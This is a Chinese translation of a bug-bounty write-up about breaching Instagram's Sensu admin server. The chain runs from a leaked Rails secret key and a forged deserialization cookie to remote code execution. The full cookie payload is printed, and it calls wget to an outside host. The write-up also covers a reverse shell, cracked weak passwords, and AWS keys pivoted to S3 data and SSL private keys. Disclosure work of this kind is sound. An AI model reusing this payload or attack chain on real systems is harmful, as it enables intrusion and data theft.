<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/11548

            http://exfiltrated.com/research-Instagram-RCE.php

            0x00 前言


            2012年,Blloberg在Facebook白帽子獎勵計劃的網站上發表了一片著名的文章,文章中提到:“如果Facebook出了價值百萬美刀的漏洞,我們也愿意照單全付”。在本文開始之前,我想為騙點擊量的文章標題向各位道個歉,不過Facebook之前放的豪言是我寫這篇文章的重要背景。經過一番嘗試和努力,我確實發現了一個價值百萬美刀的Instagram漏洞,該漏洞可以用來獲取Instagram的源代碼,照片和SSL證書等。

            0x01 絕佳線索


            去年,我曾對Facebook的安全性進行過一些小的測試,也取得了一些成果,所以我對于深入測試Facebook的整體業務安全性有著十分濃厚的興趣。發現這個漏洞其實也要感謝我所在的公司能夠允許我在非工作時間查找其他公司的漏洞,要不然根本沒有這篇文章了。事情是這樣的,我的一個朋友前段時間和我提到,他們正在測試作為Facebook漏洞獎勵計劃重要組成成分的Ins系統的安全性。他們發現Instagram存在一臺有漏洞的Ruby服務器(https://sensu.instagram.com),我的朋友告訴我,這個漏洞已經被他提交到Facebook漏洞響應團隊,漏洞分類是“內部管理后臺對外”。在他向Facebook中提交的報告中提到,該后臺可能存在一個Ruby密碼重置漏洞由此可以被黑客利用登錄進入后臺,不過他并沒有成功印證他的猜測。看到這個漏洞細節的第一眼,我就想起了CVE-2013-3221(http://ronin-ruby.github.io/blog/2013/01/28/new-rails-poc.html),不過鑒于他已經提交了這個漏洞,所以我朋友只是私下里讓我幫他看看是不是能夠深入利用這個線索,擴大漏洞影響,接觸Instagram的核心數據。

            0x02 Ruby(Rails)遠程命令執行


            基于之前朋友的漏洞報告細節,我嘗試著查找可以重置這個Ruby應用密碼的漏洞。不過初步的測試效果并不理想,一般的登錄頁面并不接受數值“0”作為密碼,而且我也不知道要用什么辦法才能發送一封密碼重置郵件。我發現,Instagram的這個后臺可能是用了開源的Sensu管理系統,于是我谷歌了關鍵詞“Sensu-Admin”,但是一無所獲。看起來,貌似我朋友的推測并不行。

            不過驚喜的是,我發現了這個應用在Github上面有源代碼,在該項目的目錄中,我發現了secret_token.rb中泄露了Rails的私鑰。我第一反應是,Facebook的程序員不會傻到把在搭建自己后臺應用的時候不更改私鑰吧?不過我還是想試試,因為如果嘗試成功的話,那我就可以偽造seesion cookies,然后登陸后臺了。我前面也提到CVE-2013-3221(http://ronin-ruby.github.io/blog/2013/01/28/new-rails-poc.html),這篇文章的作者指出,不僅僅cookies可以被偽造,而且因為Ruby Rails的反序列化漏洞,攻擊者甚至可以直接構造遠程代碼執行攻擊。

            在嘗試反序列化漏洞測試Instagram這個業務之前,我首先在本地進行了測試,我是用了下面這個測試框架:
            https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md

            結果出人意料的好,我成功在本地復現了漏洞。所以,我使用相同的步驟,結合剛剛在Github上的發現,我向Instagram的Sensu-Admin管理后臺服務器發送了如下的cookie:

            #!bash
            _sensu-admin_session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86CEVSQgY6CUBzcmNJIkFldmFsKCdzeXN0ZW0oIndnZXQgaHR0cDovL2V4ZmlsdHJhdGVkLmNvbS90ZXN0LWluc3RhZ3JhbSIpJykGOgZFVDoMQG1ldGhvZDoLcmVzdWx0--92c614a28526d03a1a31576bf4bb4c6026ef5e1f
            

            通過精心構造的cookie,Instagram的服務器成功執行了我發送的代碼,解密開來就是這樣:

            "wget http://exfiltrated.com/test-instagram"

            所以,我建立了一個監聽端口,然后上傳了一個遠程shell文件,結果如下:

            p1

            成功讓Instagram服務器執行了我發送的命令代碼以后,我把該漏洞報告給了Facebook團隊。我在報告中提到:

            1. Facebook使用的“Sensu-Admin”服務使用了網絡上公開的私鑰
            2. sensu.instagram.com正運行著Rails 3.X版本,該版本存在一個遠程代碼執行漏洞。

            0x03 致命弱口令


            其實,對于我來說,發現一個遠程代碼執行來說并不是什么大不了的激動人心的事情。但是我想確認一下,我是否還在Facebook漏洞獎勵計劃的范圍內,于是我又去查看了Facebook的漏洞獎勵計劃說明,說明中提到,雖然Facebook極力反對在測試中可能對業務進行破壞的滲透行為,不過響應團隊對,如果測試者明確自己可以接觸到更加核心的數據非常感興趣。嗯,看到這里,我覺得我自己的滲透測試行為還在Facebook授權許可的范圍內。

            上一章提到,我雖然成功讓Facebook的服務器執行了遠程代碼,獲取了服務器的Shell,但是我并沒有接觸到該后臺的UI界面。碰巧的是,Instagram的這個后臺把管理用戶數據存儲在了同一臺服務器的Postgres DB內,既然這樣,手起刀落,我成功獲取了該后臺大約60個賬戶的用戶名和密碼。不過,很悲催的是,密碼被加密了,我正在蛋疼如何解密這些數據呢,好消息就來了。我短時間內就破解出了12個弱口令,這些密碼包括"changme","password","instagram"。我的天!赤果果的弱口令啊。所以,我成功登錄了https://sensu.instagram.com的后臺界面,截圖留念:

            p2

            因為Facebook極力反對在測試中可能對業務進行破壞的滲透行為,所以我就截圖留念走人,順手把這個作為新漏洞提交給了Facebook應急響應團隊。

            0x04 滲透內網


            在我第一次的漏洞報告郵件中,我詢問了Facebook團隊是否能夠獲取滲透內網的授權。因為,這臺Sensu-Admin服務器是跑在EC2上面的,在etc/host/文件夾內可以看到大大小小1400個系統的記錄。所以這也就意味著,我有很大可能可以攻入Instagram內網。

            不過,Facebook并不沒有給我一個明確的答復。而且,他們在短時間內做出了響應,限制了外網對https://sensu.instagram.com的訪問。所以,到底滲透內網繼續下去會有哪些收獲,就永遠成為一個謎團了。

            0x05 金鑰匙


            其實滲透到現在這步,我對我之前整個滲透過程感到很滿意了。我已經發現了三個確鑿的Instagram漏洞,其中有兩個我打包提交給了Facebook。當然,故事到這里并沒有結束。我在滲透sensu.Instagram.com的時候,發現了服務器下存在這樣一個文件: /etc/sensu/config.json

            這個配置文件中包含了數據庫和其他一些服務的驗證憑證。憑證包括一個Email賬戶和一堆Pagerduty key。當然,我把視線重點放在了同樣在文件中列出的AWS key-pair上,我覺得這是下一個滲透突破點。

            AWS keys可以用作登錄許多不同AWS業務的憑證,但我關注的重點是,這些keys能否用于登錄亞馬遜S3云存儲服務,如果可以登錄的話,就表示大量敏感數據可以被獲取。在這個配置文件中,我發現了82個不同的云存儲區域。不過,直接訪問這些云存儲區域,被服務器阻斷了。我只能看到這些云存儲區域的名字,但是不能獲取到具體內容。不過有一個例外,那就是,一個名autoscale-kitchen的區塊。

            看到autoscale-kitchen兩個單詞時,我的第一反應是,這是一臺開發服務器。我在服務器上找到了一個名為autoscale-kitchen-latest.tar.gz的服務安裝配置文件,以及其之前的迭代版本。我首先查找了最新版的配置文件里面是否有敏感信息泄露,結果大失所望。接著我又查找了幾個更早的版本,幸運的是,我在一個舊版本中找到了一個名為Vagrant的配置文件,在配置文件中我找到了Instagram的EC2 key-pair。

            手起刀落,我使用剛剛找到的key-pair成功連接上了Instagram d的S3云存儲服務,并且這次,我可以獲取到每一個區塊的具體內容!!

            0x06 掌控帝國


            有了瀏覽Instagram存儲在亞馬遜S3云存儲服務上數據的權限后,我瀏覽下載了幾個區塊中的內容。

            第二天,我開始查看從云存儲服務上下載的數據,我發現這些數據中包含了用戶上傳的圖片,發送的文字等內容。因為Facebook漏洞獎勵計劃對侵犯用戶敏感數據的行為做出了限制規定,所以我停止了對用戶數據的更進一步的滲透。不過,我敢肯定,如果繼續下去獲取的數據肯定更為勁爆,更多敏感的數據可以被獲取。

            我使用AWS keypair從其他多個區塊中獲取了以下信息:

            Instagram.com的統計數據,多個后臺的源代碼,當然更為勁爆的是,還有SSL證書和大量私鑰,涉及instagram.com*.instagram.com和Instagram在其他網絡服務的私密API接口,毫不夸張地說,現在我已經具有能力對Instagram上面任何一位用戶進行任何操作的權利。

            于是,我再一次向Facebook提交了包含大大小小7個不同安全問題的報告,主要包括:

            1. 通過AWS證書,任何未被授權的用戶可以登錄進入sensu管理系統
            2. AWS存儲區塊存儲著訪問其他區塊的證書,被用以提權攻擊。
            3. 敏感數據間沒有做隔離,導致一個AWS keys就可以訪問所有S3區塊。
            4. AWS keys可以被外網IP登錄,如果攻擊者完全有能力清除服務器日志,達到攻擊后無法查找到具體攻擊者的目的。

            0x07 后記


            最后,我想用一張思維導圖總結一下我此次滲透進入Instagram帝國的過程:

            p3

            其實整件事情的起因是,sensu.instagram.com的遠程代碼執行,從這個漏洞,我又發掘出了后臺員工的弱口令。通過sensu.instagram. com服務器上的配置文件,我又獲取了AWS keypair,使用這keypair,我又從S3云存儲服務器上讀取到了EC2 AWS keypair。使用這個keypair我讀取到了instagram存儲在S3云存儲服務上的所有重要敏感數據。 整個滲透測試過程,暴露出了Facebook在安全體系建設上的大量缺陷,是我驚訝的是,在安全體系建設了這么多年以后,竟然還會出現許多低級的安全和規范問題。可見,安全攻防,還會朝著更為縱深的方向持續。

            [原文鏈接]
            http://exfiltrated.com/research-Instagram-RCE.php

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线